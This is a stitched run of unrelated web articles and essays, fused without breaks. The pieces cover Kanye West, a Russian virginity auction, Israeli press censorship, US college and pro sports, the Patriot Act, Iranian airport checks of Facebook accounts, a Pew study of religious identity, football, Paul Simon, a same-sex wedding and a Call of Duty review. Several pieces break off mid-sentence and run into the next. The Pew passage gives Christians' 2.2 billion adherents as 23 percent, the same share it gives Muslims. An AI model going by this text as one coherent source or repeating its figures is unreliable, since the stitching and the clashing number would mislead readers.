When Kanye West married Kim Kardashian, who's often considered one of the least sincere, most financially-motivated people on earth, I reminded people that West was in love with her for years, even dedicating his verse on 2010's "Lost in the World" to his future spouse. When he was lampooned for selling $120 T-shirts, I reminded people that 1) he didn't price the T-shirts, A.P.C. did and 2) in the grand scheme of fashion, $120 T-shirts aren't that crazy. When he threw a fit after Nike refused to bankroll his fashion collection, I understood his frustrations after creating two of the most hyped-up sneakers in the brand's history, the Air Yeezy and Air Yeezy 2. When he claimed he was the most influential person in fashion, I explained to doubters that in fact he was responsible for the death of throwback jerseys, the rise of mid-aughts prep, Shutter Shades, the popularity of Givenchy, not to mention a generation of obsessives dedicated to dressing exactly like him. When he attacked a paparazzi, I felt it was obvious he was provoked, and recited his own line about how he was returning from the funeral of his grandfather when confronted.
When people claimed his Yeezy Season collections were "homeless looking" and too expensive, I pointed to other collections that inspired the looks, and to West's claim that while he had no intention of overcharging customers, the pricing was simply a product of wanting to use quality materials while being beholden to the prices of the fabrics set by Adidas's suppliers. When fellow fashion editors complained about the spectacle of his Yeezy Season 3 show at Madison Square Garden, I noted that it was the most fun I'd ever had a fashion event, and that we got to hear a brand new Kanye West album in an arena setting. See, the one place I've always felt most comfortable in defending Kanye West is when he has claimed he's a genius. When it comes to making music, the simple truth is he is a genius, and I've accused anyone that disagrees with this point of being too influenced by tabloids and not open enough to actually listening to West's catalog. Even today, I still think all of the above is true.
But I've never once thought that liking an artist means endorsing every single thing they say, do, or create. But recently it's become morally conflicting to defend West's comments and actions. It started for me personally when he compared his stage performances to being a soldier, which I brushed off as simple hyperbole. Later, he began to align himself with Louis Farrakhan, a man who, as a Jew, I refuse to label a pure anti-Semite. But Farrakhan is guilty of perpetuating the fallacy that Jews are conspirators hellbent on controlling the world through banks, the media, and Hollywood, and these ideas seem to have permeated West's worldview. "We ain't got money like that, we ain't Jewish," West once said, later defending the comment by saying he felt it was a compliment. It was ignorant thing to say, admittedly, but it wasn't completely unforgivable. But I'm not naive to the fact that many black artists have felt manipulated by record executives throughout the years (a disproportionate amount of which are Jewish), so I did my best to understand his perspective.
A few other eyebrow-raising moments from West's recent past have included: Claiming Tyga was "smart" for dating an underage Kylie Jenner, claiming to want to offer democratically-priced clothing only then to sell cheap Gildan hoodies for $80, and staging a sloppy Yeezy Season 4 fashion show this September. But those slip-ups are nothing compared to West's defense of Bill Cosby, a serial rapist. In early 2016 he tweeted "Bill Cosby Innocent!" and on his song "Facts," which he released on New Years Eve this past year, also asked the question "Do anybody feel bad for Bill Cosby?" Even I responded with a resounding, "No, Kanye, no one feels bad for him," but it didn't stop me from buying his collections, his merch, his music, and from championing him as culturally vital. When I saw his Saint Pablo Tour recently, I told people around me that it was a reminder of his value to the world and why I became a fan in the first place. Then, the Saint Pablo Tour derailed when West endorsed President-elect Donald Trump.
West has never been great at communicating his ideas through public speaking. But even through my biased, Kanye Westism-translating ears, what I heard was that West admired Trump's ability to speak his mind and win. And that's just patently untrue; Trump has never spoke his mind, and won simply by saying what people wanted to hear. A more understandable point West made on stage in San Jose was when he said that the internet was to blame for Hillary Clinton's electoral college defeat. ("Don't believe everything you read on the internet" is something that West has been saying for years in response to the media's insistence on labeling him a crazy narcissist.) But by saying things on stage like "I'm on my Trump shit," all West did was come off as a troll and validate the suspicion that he'll do anything to remain in the spotlight. Which brings us to his meeting with Trump today following a stay in the hospital (after an apparent incident involving his ongoing mental health issues, the specifics of which are unknown). Once again it seemed like West was only doing it for the headlines, including the moment when he refused to answer questions and simply said, "I just want to take a picture." So when West tweeted out that he met with Trump to discuss "multicultural issues" in addition to a signed copy of Trump's recent Time Magazine cover, I felt something unfamiliar: I didn't understand him or really care to try to.
It would be irresponsible to armchair diagnose West's psychological issues, and I can't exclusively blame the people around him—the crew of "vibes" Yesmen—for enabling his god complex. But between the proclamations of his own holiness and a self-induced pseudo-exile in Calabasas, Kanye West has perhaps become too detached from the problems facing average people.A teenager in Siberia successfully auctioned off her virginity online.
"Money is urgently needed, so I am selling the most treasured thing," the 18-year-old wrote on Russian auction website 24au.ru, according to a Huffington Post translation of the text.
(Story continues below)
The woman, who listed her name only as "Shatuniha," said she was willing to meet the next day. "I can come to a hotel at Predmostnaya [Square] with a certificate proving my innocence."
The auction was posted Oct. 30 with a 800,000 ruble price tag, which translates to about $24,600. A day later, someone had bid 900,000 rubles, or about $27,700, in order to deflower her.
Shatuniha not only auctioned off her chastity for a hefty sum, she appears to have done it with impunity. Police in Krasnoyarsk, Russia, where the teen lives, told The Siberian Times that she broke no laws.
"[We have] no right to give a moral assessment of the girl's actions," officials said.The Editors Committee is an informal forum comprising the editors and owners of the main Israeli media. It meets regularly with the prime minister, cabinet members and senior officials. Until the 1980s, it took a central role in the self-censorship practiced by the Israeli media. The understanding was that the information reported to the committee would not be published in the media, even once received from another source.
Origins [ edit ]
The British authorities enacted in 1933 the Press Ordinance, which regulated the content of the news press in British Palestine. Many of the country's Jewish newspapers, particularly the English-language Jerusalem Post and those printed in Hebrew, were founded by Zionist political parties during the pre-statehood period, and subsequently continued to be politically affiliated with such parties.
Professor Dan Caspi, who has served as chairman of the Israeli Communications Association, notes in his Mass Media and Politics (The Open University, 1997), "The majority of the newspapers in Israel's pre-state period were founded as ideological organs of political trends, and were under the ideological authority of the political parties and dependent on their financial backing. The party institutions and their leaders were involved in the selection process for the sensitive senior positions in the paper, particularly in the choice of the editor."
In the pre-state yishuv period, most Hebrew press editors felt that their primary role was educational, to help in the state-building process. Such values as freedom of the press and the idea of being a public watchdog were secondary. The editors of the Hebrew-language press founded the Reaction Committee in 1942 because, as they stated at the time, they "felt the need for guidance from the Jewish community's leadership on publication policy concerning sensitive matters, such as the expulsion of ma'apilim (illegal immigrants) and the search for weapons in Hebrew settlements".
Early Statehood [ edit ]
In 1948, the Press Ordinance was adopted by Israel and administered by the Ministry of Interior which undertook to "license, supervise, and regulate" the press. After the establishment of the state in 1948, prime minister David Ben-Gurion saw great advantages in the arrangement with the Israeli press, and he frequently convened the newly renamed Editors Committee to share important information with the editors, on condition that it would not be published.
The IDF assumed responsibility for administering the censorship regulations. This was done through an agreement with the Editor's Committee, which allowed most Hebrew-language newspapers to exercise self-censorship, with the censor receiving only articles dealing with national security matters. This arrangement did not cover Arabic language publications, whose editors were required to submit items for publication to the military administration on a nightly basis.
Decline in status [ edit ]
Co-operation between the government and the press was sometimes tense. These tensions increased as the value of free speech and the role of the press as watchdog came to be more widely recognized. The process accelerated in the 1970s, as a result of social changes in Israel and developments in the global media. The Yom Kippur War of 1973 served as a major change catalyst, by initiating a wide coverage of military issues and criticism of military failures. Towards the 1982 Lebanon War, partial information was published concerning the plans for an operation and the disagreement in the cabinet towards it. When fighting eventually started, the Israeli media initially followed the government's guidance in publishing information about the war. However, within about three weeks, when it became clear that the operation was not meeting its original goals, Israeli society engaged in a public debate about the war, which was covered widely by the press.
In parallel, the role of the Committee itself declined following the 1977 elections, that brought right-wing Likud party to power for the first time. New prime minister Menachem Begin was suspicious of most of the press, which he considered as being hostile to his party, and rarely convened the forum.
In 1992, five soldiers of Sayeret Matkal, an elite commando unit of the Israel Defense Forces, were killed in a training accident. Information about the accident, and in particular the presence at the site of Ehud Barak, then chief of IDF staff, was censored. However, after information was leaked to the foreign press and published abroad, the episode was reported in Israel, too. As a result of this affair, two major newspapers, Haaretz and Yediot Aharonot, withdrew from the censorship agreement and the Editors Committee.
Current status [ edit ]
A new censorship agreement, signed in 1996, limited censorship to information that, when published, would, "with high probability", constitute a real danger to national security. In addition, it ensured the press's right to appeal the censor's decisions to the Supreme Court.
To receive an official press card, Israeli journalists must sign an agreement pledging not to publish any security information that could "help Israel's enemies" or "harm the state."[1]
Israeli censorship in the Occupied Territories [ edit ]
In 1988, Israeli authorities, suspecting Palestinian journalists of involvement in the Intifada, censored or shut down many Palestinian newspapers and magazines in the West Bank and the Gaza Strip and arrested several journalists.
See also [ edit ]
Notes [ edit ]KEZAR STADIUM — San Francisco City Football Club closed out their inaugural season in the Premier Development League with a thrilling 4-0 victory over their rival, the Burlingame Dragons, last week.
Ending a season with a win for a 6-6-2 record and third place in the division isn’t always reason to celebrate, but SF City FC president Jacques Pelham says the group met expectations.
“We’ve had a long season at home and just never could get going in terms of scoring goals,” Pelham said. “But we come out here and put four on the board against Burlingame, who are a great team and our rival, and put on a great show for the fans. It’s very satisfying.”
At the start of the season, SF City had dreams of making the playoffs and maybe winning a championship in their first season, but it wasn’t meant to be.
Head coach Paddy Coyne said the biggest challenge facing the coaching staff this season was keeping their players, most of them spending their college offseason competing in the PDL, at their best.
“A lot of kids are coming off an intense college season, and injuries were a big roadblock,” Coyne said. “We had a lot of injuries with our striker [position], so we haven’t been able to score too many goals this year. But today we had David Garrod come out, and he played really, really well.”
Coyne and his team hoped to build a team rich with local talent, and borrowing Garrod and his University of San Francisco teammate Danny Kirkland helped fulfill that goal.
To promote membership, the team relied heavily on its supporters group The Northsiders.
The group solidified a rivalry with the neighboring Burlingame Dragons. During an away match with the Dragons early in the season, the home team sent their mascot to pester the Northsiders, who responded by briefly removing the dragon’s plush green head. The Dragons did not approve.
The same fans have themselves done the bulk of promotional work for the club. Instead of billboards and commercials, the club relies heavily on word-of-mouth from their current supporters to increase membership, and it appears to be working.
“Last year we were at about 300 members total, and then this year we’re at 670 members right now,” Steven Kenyon said, the team’s vice president of community development. “We’ve over doubled our membership since last year, that’s a great success for the club and everyone involved.”
Click here or scroll down to commentDuane Burleson/Getty Images
Michigan Wolverines star guard Caris LeVert was held out of action for 11 games after suffering a leg injury on Dec. 30. However, he has been cleared to return to the court.
Continue for updates.
LeVert Active vs. Purdue
Saturday, Feb. 13
LeVert will play against Purdue on Saturday, per Matt Shepard of WDFN.
Injuries Continue to Nag LeVert
Jeff Goodman of ESPN.com noted the senior has dealt with a nagging foot injury over the previous two seasons that required two surgeries and cut his 2014-15 campaign short.
Hopefully his return from this injury isn't short-lived, as Michigan relies on him heavily.
LeVert is an explosive scorer who rebounds well for a 2-guard and is a capable passer, not to mention a strong on-ball defender who can disrupt passing lanes (1.8 steals per game last season). No one on the Wolverines roster can replicate his all-around skill set.After news emerged that Ubisoft had abandoned the main Watch Dogs trademark, it now appears as though it has been restored. Polygon says that the lucrative trademark was reinstated earlier today by the company This means that Ubisoft once again owns it, now they just have to announce a date for the long-awaited game.
“Here, the circumstances are extraordinary,” the USPTO said in its review of the case. “An unknown party who lacked authority executed the purported abandonment of the application. Although the request appears to have been sent by petitioner, petitioner declared that it did not submit the request and has every reason to believe that this filing was fraudulent.”
“The Director finds the application should not have been abandoned. Pursuant to supervisory authority provided by 37 C.F.R. §2.146(a)(3), the Director permits the reinstatement of the application.”
Thanks, Portal DarkReid pushes forward on Patriot Act
Senate Majority Harry Reid (D-Nev.) on Tuesday used a procedural move to circumvent Sen. Rand Paul's efforts to offer amendments to a bill granting a four-year extension of expiring provisions of the Patriot Act.
The parliamentary maneuver allows the chamber to finish debate on the legislation sooner and move past what was sure to be a drawn-out amendment process lead by Paul, the Kentucky Republican and tea party favorite who is a vocal critic of the law.
Reid said he's recently held discussions with Paul and other senators who want votes on their amendments to the extension bill, which covers three key provisions of the counter-terrorism surveillance law that are set to sunset at midnight Thursday.
"I understand Senator Paul's exasperation because this is something that is extremely important to him and there was every desire from my perspective and I think this body to have a full, complete debate on the Patriot Act," Reid said on the Senate floor Tuesday night. "But the Senate doesn't always work that way.. We cannot let this Patriot Act expire. I have a personal responsibility to try to get this bill done as soon as possible."
He added: "The time has come for me to take some action.
Paul remained on the Senate floor through most of Tuesday - even skipping Israeli Prime Minister Benjamin Netanyahu's address to a joint session of Congress - to remind Reid of his promise earlier this year to allow senators a week-long debate and the ability to offer amendments to the Patriot Act legislation.
"Sen. Reid went through procedural hoops to go back on his word," Paul said in a statement, adding that Reid "denied the Senate the opportunity to debate the constitutionality of its provisions."
"Today's events further underscore the U.S. government's lack of transparency and accountability to the American people," Paul said.
The Senate voted 74-13 to shelve a Patriot Act extension bill that Paul and other senators had offered changes to this week. Nine members of the Democratic caucus and two Republicans - Sens. Lisa Murkowski of Alaska and Dean Heller of Nevada - voted no. Paul voted present.
Reid then inserted the Patriot Act legislation in a message the Senate received from the House and filed cloture, setting up a final vote later this week.
The three expiring provisions of the Patriot Act authorize authorities to conduct court-approved roving wiretaps, monitor so-called "lone-wolf" terror suspects and access business, library and other records. One of Paul's amendments would bar authorities from accessing firearm records.
Sens. Mark Udall (D-Colo.) and Ron Wyden (D-Ore.), who voted no on Tuesday, vowed in a conference call earlier in the day to vote no on the final extension bill if their amendments were not agreed to.
Their amendments would place additional restrictions on when federal authorities could conduct expanded surveillance of terrorism suspects, and the senators argued that another short-term extension was preferable to a long-term extension with no debate or reforms.
"We've known for months - years, in fact - that this was on our to-do list this Congress. Many Americans have been demanding reforms to these provisions for years," Udall said.
"Instead, we've been passing short-term reauthorizations, waiting for the promised opportunity to finally consider a comprehensive overhaul," Udall added. "Yet suddenly we're being pushed to approve a four-year straight reauthorization in just a few days, saying - falsely - that we don't have time for a full debate."
While Reid and Paul may disagree on a number of political issues, Reid called Paul a "very pleasant man with strong, strong feelings." Paul has been "reasonable," Reid said, agreeing to bring down the number of amendments from 11 to just three or four.
"He will learn over the years that it's always difficult to get what you want in the Senate," Reid said. "It doesn't mean you won't get it, but sometimes you have to wait and get it done at a subsequent time."Foreign Policy: Iran's Terrifying Facebook Police
A scary anecdote from Iran. A trusted colleague - who is married to an Iranian-American and would thus prefer to stay anonymous - has told me of a very disturbing episode that happened to her friend, another Iranian-American, as she was flying to Iran last week. On passing through the immigration control at the airport in Tehran, she was asked by the officers if she has a Facebook account. When she said "no", the officers pulled up a laptop and searched for her name on Facebook. They found her account and noted down the names of her Facebook friends.
This is very disturbing. For once, it means that the Iranian authorities are paying very close attention to what's going on Facebook and Twitter (which, in my opinion, also explains why they decided not to take those web-sites down entirely - they are useful tools of intelligence gathering).
Second, it means, as far as authorities are concerned, our online and offline identities are closely tied and we have to be fully prepared to be quizzed about any online trace that we have left (I can easily see us being asked our Facebook and Twitter handles in immigration forms; one of the forms I regularly fill flying back to the US has recently added a field for email address).
Third, this reveals that some of the spontaneous online activism we witnessed in the last few weeks - with Americans re-tweeting the posts published by those in Tehran - may eventually have very dire consequences, as Iranians would need to explain how exactly they are connected to foreigners that follow them on Twitter (believe me, I've observed enough bureaucratic stupidity in Eastern Europe to know that even some of the officials who follow Twitter activity on a daily basis may not know how it works).
I am curious if there have been other reports of foreigners being asked about their social media activity on traveling to authoritarian states. Any ideas?324 days. It had been 324 days since Jabari Parker last played basketball before making his season debut this past Wednesday night after suffering a torn ACL during a mid-December game against the Phoenix Suns last season.
Even after looking at that number, it feels like more than almost a year has gone by since Parker went down with his injury.
For one, almost half of the entire Bucks team that started out with the team left due to either being traded, released or left the NBA entirely at some point last season, with a few more players added to that list after a very busy off-season.
And two, the Bucks carved out an improbable identity since Parker went down last year as a defensive-oriented/grind it out-type team on the backs of unlikely names along with their promising and athletic rising stars (To be fair, the Bucks were tenth in defensive efficiency around the league before Parker’s injury, per NBA.com/stats).
With everything considered, it’s fair to say Parker’s injury was definitely a catalyst for not only what the team looks like now, but also what some of the players look like now with no one other than Giannis Antetokounmpo being the shining example.
Even with the small sample size from what we’ve seen of Giannis this far into the season, it’s quite incredible how far he’s come in the last eighteen months.
Maybe it’s the effect that coach Jason Kidd has had on him since coming to Milwaukee or just how much he’s gotten better, but both factors have played a big part in the growth of his game. Of course, he’s also had a lot of time playing basketball not just with the Bucks, but playing internationally as part of the Greek national team the last two summers.
It’s not to say that all of this wouldn’t come to pass for Giannis since being drafted by the Bucks in 2013, but the consensus was always that it was more down the road to expect this type of performance from him than where he is now.
Even though it’s been almost a year, it’s interesting looking back at how the Bucks’ front office reacted post-Parker injury. You couldn’t classify it as a “tear down” exactly, given the success the team would go on to continue to have last year, but there was undoubtedly a shift in their thinking.
The shocking decision to trade the team’s leading scorer at the time, Brandon Knight, at the deadline last season and the departures of many veterans have really opened the door for the Giannis to take another leap, with hopefully Jabari (and others) soon to follow once he fully gets back into the groove of things.
With that said, it’s hard to not play the ‘what if?’ game regarding Parker’s injury.
It was devastating to see Parker fall to his injury last year and we still don’t know how much of an effect that will have on his game, but would we still be seeing the Giannis from this year if not for the injury? Would Khris Middleton be where he is? Would Knight still be on the team? Would Greg Monroe sign with Milwaukee this past Summer?
There’s an endless amount of ripple effects that Parker’s injury could have an effect the team’s transactions within the last year, but the Bucks haven’t strayed from the course of emphasizing their youth movement as being the way to (hopefully) true success down the road.
The team had two dynamic forces in both their forward spots once upon a time with Glenn Robinson and Vin Baker (not making the comparison mind you), but the lack of team success as well as personal circumstances eventually came into play for the departure of Baker.
But this time around looks to be very different.
It’s been incredible to experience Giannis’ play so far this season, but the true test will be how much he and Parker can grow together. The door is open for them to grow together and hopefully they reach the level of being the lethal dynamic duo that all Bucks fans hope they can be.A new report on global religious identity shows that while Christians and Muslims make up the two largest groups, those with no religious affiliation — including atheists and agnostics — are now the third-largest “religious” group in the world.
The study, released Tuesday (Dec. 18) by the Pew Forum on Religion & Public Life, found that more than eight in 10 (84 percent) of the world’s 7 billion people adheres to some form of religion. Christians make up the largest group, with 2.2 billion adherents, or 23 percent worldwide, followed by Muslims, with 1.6 billion adherents, or 23 percent worldwide.
Close behind are the “nones” — those who say they have no religious affiliation or say they do not believe in God — at 1. 1 billion, or 16 percent. That means that about the same number of people who identify as Catholics worldwide say they have no religion.
“One out of six people does not have a religious identity,” said Conrad Hackett, a primary researcher and demographer on the study. “But it is also striking that that overwhelming majority of the world does have some type of religious identity. So I think people will be surprised by either way of looking at it.”
The next largest groups, the report finds, are Hindus (1 billion people, or 15 percent), Buddhists (500 million people, or 7 percent) and Jews (14 million people, or 0.2 percent). More than 400 million people — 6 percent — practice folk traditions from African, Chinese, Native American or Australian aboriginal cultures.
An additional 58 million people — slightly less than 1 percent of the global population — belong to “other” religions, such as the Baha’i faith, Jainism, Sikhism, Shintoism, Taoism, Tenrikyo, Wicca and Zoroastrianism.
In addition to the numbers of adherents, |
than his own rotten team or the sack, whichever comes first. Relegation has been in the post for a while, and there’s a man walking up Sunderland’s drive holding a pile of letters and whistling a tune.
Sam Allardyce
Our early loser, for making Swansea, Bolton and now West Ham look good. Forced marriage has started with a non-existent honeymoon.
Paul Pogba
So bad that it became a rich source of comedy for anyone other than Manchester United supporters. I wrote plenty enough on both United and Liverpool in 16 Conclusions, but it is worth repeating Pogba’s statistics from Old Trafford:
Shots – 2
Shots on target – 0
Big chances missed – 1
Chances created – 0
Passing accuracy – 72%
Passing accuracy (opposition half) – 67%
Tackles – 1
Interceptions – 0
Possession lost – 22
Quite why Jose Mourinho refused to take off the midfielder is unclear. Pogba never improved beyond miserable.
John Stones
From bad to worse to worse still. Guardiola can take his share of the blame for Stones’ latest cock-ups, but the defender must take responsibility too. Stones has started two Premier League wins (against Hull and West Brom) since September.
Sergio Aguero
Three shots on targets in his last three Premier League matches. That’s the same number as Jack Rodwell.
Claudio Bravo
Bravo might well be an excellent goalkeeper, but he’s also one low on confidence, form and faith in his role. Joe Hart may not be a better sweeper-keeper than Bravo, but City would be doing no worse with him in goal right now.
13 – Claudio Bravo has conceded from 13 of the last 21 shots on target he has faced in the Premier League. Update. — OptaJoe (@OptaJoe) January 15, 2017
Southampton
Four straight league defeats and an FA Cup replay for Claude Puel, as Southampton drop to 13th in the league. It’s all very well leaving out Jose Fonte on principle, but it sure weakens that central defence.
Leicester City
The saddest thing for Leicester is that the defeats aren’t even surprising any more, and Claudio Ranieri looks powerless to stop them. Still, at least Riyad Mahrez scored twice for Algeria.
Eddie Howe
Howe has done a magnificent job at Bournemouth, but being young and English gets you a comfortable ride from certain sections of the media. Every time Bournemouth win, Howe is hailed as Arsene Wenger’s rightful heir. Every time Bournemouth are picked off by the opposition, everyone goes quiet.
The truth is that Bournemouth’s form is beginning to really annoy their supporters. They have conceded three goals in eight of their last ten games, and the self-assisted FA Cup suicide last week hardly helped. Those 11 rested players were abject against the Premier League’s bottom club.
Paul Clement
Does he know the Premier League, Jeff? It’s like manna from heaven for him to get this job. He’s never played or been a manager in this league, Jeff. He was sacked by Derby the only other time he managed, Jeff. What does he know about digging in, Jeff?
Daniel StoreyWendel Clark will shave his moustache Saturday night at Air Canada Centre. He’s doing it to publicize Movember. In other news, the Leafs are playing Pittsburgh that night.This moustache thing is significant. Picture Stephen Harper going with a Mohawk or Lady Gaga wearing a dress made of vegetables.It takes a brave man to shear away his face duvet, or in Wendel’s case his punch absorber. I am lobbying for a ‘Stache cam’ to chronicle the 12 minutes between the shaving of the old crumb catcher and the arrival of a new one. It would look like one of those time-lapse photo sequences that show the 24-hours in the life of a city except without Wendel or, for that matter, the moustache.The point is the earliest depiction of a man with a moustache dates back to 300 B.C. or the days of the Original Zilch. Wendel started growing his in 1993 and he has found no reason to shave it until now. Movember is a worldwide movement to promote men’s health in particular and prostate cancer and detection in particular.All this begs the question, how do you shave a moustache that has called Wendel Clark’s upper lip home for the last 17 years. Clearly, asking for it to go away won’t do it. If Marty McSorley couldn’t knock it off his face, if the seismic level jar from hitting poor Bruce Bell didn’t loosen it, that sucker isn’t going anywhere.There are logistical elements to consider.Should the moustache be reassembled into a kind of super moustache and grafted onto the hairless puss of Joe Colborne like some kind of hairy Excalibur?What happens if the newly freed whiskers begin to mass and mount a commando-style counter attack upon hitting the floor? For that matter, what’s to prevent them from grabbing the razor right out of Wendel’s hand or punching Bob McGill just for fun? If the shave is televised using personnel untrained in hand to hand combat, is there a threat of a hostile takeover that would turn Leafs TV into WendelVision. My God, what happens if the event is carried by the CBC?How do you bury a moustache with the tiny DNA of a million Real Sports chicken wings? Are there environmental considerations?Can you re-assemble the whiskers into any shape other than a steely scowl or would they act little metal shavings repelled by a magnetic pole?Can you plant the moustache and go into moustache farming. Hey, people laughed at Ginseng. Is large-scale Fu Manchu farming even feasible?Do you put the moustache in an underground time capsule and risk it pounding and plundering all the other underground time capsules?Let’s try breaking this down into multiple choice questions.1. What do you use for shaving cream? A. Molten Lava. B. Camel spittle. C. Alligator snot.2. How about something to lather it up? A. Porcupine quills. B. Heavy water rods from the Darlington Nuclear Plant. C. Sean Avery.3. What kind of razor? A. The Husquarna 240 E chainsaw. B. Piano wire. C. Darth Vader’s light sabre.4. How about an aftershave? A. Wendel’s distilled tears, shed when he was traded to Quebec. Screw it; let me deal the Smithsonian. B. Goat’s blood stolen from a particularly ill-tempered Maori tribesman. C. Chernobyl rain water.5. Finally, a choice of towel. A. Number 1 grade sandpaper; stuff would take the chrome off a trailer hitch. B. Jumbo SOS pads, industrial grade. C. A horseshoe.Paul Simon has enjoyed a highly successful career as a solo artist, but he can never escape the question of whether he’ll ever work with Art Garfunkel again. On Written In My Soul, Simon told Bill Flanagan why a full-fledged reunion will never happen.
Childhood friends turned musical collaborators, Simon & Garfunkel was one of the most popular rock acts of the 1960s. But the duo had many artistic differences, which led to arguments and culminated in their breakup in 1970.
“The differences that broke us up, they were real,” Simon said. “We had real different tastes in music and how it should be done and how it should be performed. I liked to work with a band, Artie liked not to work with a band or have a band without a drummer, I couldn’t imagine that. This stuff sounds petty, but actually it goes to the core of having a creative partnership.”
Simon had felt stifled creatively because he was sitting on records that he couldn’t release under the Simon & Garfunkel name.
“It was over. I had written so many more songs by then,” he said. “A lot of songs that we weren’t doing because they weren’t Simon & Garfunkel songs.”
Simon reflected fondly on his time as part of the iconic partnership, but he acknowledged that the differences, both personal and creative, were too much to overcome.
“There was pleasure in the blend. That was always fun, to get the blend right,” he said. “But to have to stay with the songs that were from my earlier writing, and as you pointed out the first half of my earlier writing was more generic than individual, there was a limit to how much I wanted to do those shows. And if I wasn’t getting along and the shows had a tension surrounding them, that made it even more difficult and that’s really what the reality was.”
Over the years, Simon & Garfunkel’s relationship would thaw enough for them to reunite briefly for performances. The most notable reunion occurred at The Concert in Central Park in 1981. Simon had just released One Trick Pony, which was a flop, so he said he wasn’t confident enough to put on a solo performance, and Garfunkel agreed to join him.
“Once the reunion happened and it was this giant success and we went on the road, then our respective record companies announced that the next record would be a Simon & Garfunkel record, which we would’ve tried had we gotten along, but we didn’t,” Simon said.
That album eventually turned into Simon’s next solo release, Hearts and Bones, which also flopped. But after taking some time to find some inspiration, Simon created the most iconic album of his career.
“So that meant I had two in a row that were not as big hits, or hits at all really, compared to what I had been doing,” he said. “And then the next album I did was Graceland, which was a turning point in my career and in my life.”
Hear Bill Flanagan’s full interview with Paul Simon on Wednesday at 7 p.m. ET.
New episodes of Written In My Soul air monthly on VOLUME (Ch. 106).
For a free 30-day trial, check out http://www.siriusxm.com/freetrial/blog.As proposals go, it was understated, but perfect. Woody Fridae Lynn MacLaren (left) and Sarah Holt-Foreman
Lynn MacLaren and Sarah Holt-Foreman were spending a September evening at a streetside wine bar in Fremantle, Western Australia. The sun was setting, they had a glass each, it was the weekend. And then Holt-Foreman pulled a little model elephant out from nowhere, with two rings perched on its tiny trunk. "As a child I collected elephants," MacLaren explained to BuzzFeed News. "It was a joke between my brother and I. I was a little bit heavier than he was, and I just owned it, and had this elephant collection." The one Holt-Foreman presented was from Bali, where she had also bought the rings some time earlier. "Do you want to get married?" she asked. It wasn't the first time Holt-Foreman had proposed. MacLaren had hesitated the past couple of times her partner of seven years had floated the question. But this time, things were different. Five years earlier, Holt-Foreman had been diagnosed with breast cancer. She had undergone treatment, and spent the last two years in remission. But on 16 September, the day before she presented MacLaren with the ring-adorned elephant, the couple had received devastating news: The cancer was back, and this time had spread to Holt-Foreman's bones. MacLaren said yes. "I felt like now is the time we must make the most of our lives together," she told BuzzFeed News. The next question was a simple one: "Where can we go?" In Australia, same-sex couples cannot legally marry.
As a Greens politician in the West Australian legislative council, MacLaren has devoted much of her time to advocating for a change in the law. She introduced marriage equality bills to the state upper house in 2012 and 2013, and has spent years speaking at rallies. She has lived in WA since 1982, but is a dual US/Australian citizen. Eight days after the proposal, the pair flew to America to marry at the San Francisco City Hall. “That was important to us, because it’s an iconic place in LGBT history," MacLaren said, adding that they were "very lucky" to have the option to travel. The timeline was quick, but they wanted to marry before Holt-Foreman's treatment began, and while MacLaren had a window of time away from parliament. Although the wedding – with 12 guests, many of them MacLaren's family and friends – was wonderful, it would have been easier in many ways if they could have wed in Australia. "We could have put the word out, invited people, and had a large wedding with friends and family, especially Sarah’s family," MacLaren said. "Her son, who is 16, could have been there. Her grandmother could have been there.
"Because we needed to do it before Sarah went back into treatment, we didn’t have time to organise or do anything else." While MacLaren's American family and friends are well aware of Australian laws, strangers they encountered while travelling in California had a broad spectrum of reactions.
"Some were incredulous," she said. "‘Why can’t you get married in Australia?’ They couldn’t believe it. It was strange to them, that we had to travel there. "Others were, I think, quite sad. They would express compassion, sympathy, say ‘that’s really sad’. There were a mixture of attitudes." Much of the marriage debate in Australia in 2016 has centred on whether there should be a national vote on same-sex marriage, rather than marriage itself.
Jesse Roberts / NEWZULU Lynn MacLaren speaks at a rally in her work as a WA MP.Being a PC gamer, you're no doubt aware of the inauspicious beginnings of the Call of Duty franchise. Back in 2003 we all marvelled at iD's Tech 3 engine reborn as a cracking WWII shooter that featured not only an extensive and well structured campaign mode, but some of the most addictive and groundbreaking multiplayer action since Gooseman decided Half-Life Deathmatch just wasn't interesting enough.
Call of Duty 2 followed a couple of years later, proving that sequels don't always have to be hollow representations of the original product. All was well in the world, and developers Infinity Ward rode a well-deserved wave of critical success.
Then, something unusual happened. Development of the franchise split in two different directions, one very much angled towards the PC market, the other the next-gen console base. Call of Duty 2: Big Red One and Call of Duty 3 were outsourced console exclusives, presumably freeing Infinity Ward to work on Call of Duty 4: Modern Warfare, the first truly cross-platform title for the series. As PC gamers, we didn't mind this - as long as Infinity Ward kept churning out ridiculously good multiplayer titles they could port them to the DS for all we cared. Development of the console versions were pushed out to Treyarch, who took an obvious back-seat to the main event, so once again the best platform to experience Call of Duty on was the PC.
Then came Call of Duty: World at War. Despite a roaringly good co-op mode that encouraged you to kill as many Nazi Zombies as possible, for the PC audience it was about as exciting as every other rehashed WWII shooter on the market. But again, we didn't care, because Infinity Ward would rescue us with their ongoing commitment to PC game development, and multiplayer innovation. I apologise if this reads like a eulogy, but it's unavoidable.
Call of Duty: Modern Warfare 2 consists of three components; a campaign mode, online and local multiplayer, and a kind of two-person co-op tactical feature entitled "Special Ops". The campaign mode features approximately four to five hours of compartmentalised, highly structured chapters that linearly present a clichéd, kitsch and largely nonsensical story with more plot holes than a field in Cambodia. You'll move seamlessly from one terrorist hot-spot to another either facing overwhelming enemy resistance, or a couple of sentries with some dogs. You play multiple characters, some of which have the hugely helpful ability to die in the cinematic cut scenes, thus separating you even further from any type of compassion or desire you may have had to see them through to the end.
The game switches between setting up gritty warzones and empowering you to experience modern warfare to a high degree of accuracy, to placing you in a street with a bunch of rabid Rio locals in what can only be described as a turkey shoot without the turkey. Cheap deaths abound - even on normal settings you'll have to respawn and memorise seemingly random locations where enemies are camped and make sure you take them out in a prescribed order before crossing an imaginary line to spawn the next railed-in event, which probably features an explosion. It's a surreal experience that is akin to watching one minute of a Bourne film followed by ten minutes of any Bond film featuring Pierce Brosnan. If you like that sort of thing, you'll be in heaven.
